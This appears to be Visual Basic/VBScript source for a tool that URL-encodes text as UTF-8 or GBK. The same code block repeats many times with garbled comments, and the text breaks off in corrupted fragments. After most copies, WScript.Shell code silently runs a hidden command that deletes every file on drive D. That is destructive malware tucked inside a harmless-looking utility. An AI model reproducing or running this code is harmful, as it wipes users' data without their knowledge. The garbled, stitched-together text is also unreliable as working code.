Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8Encodetion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion 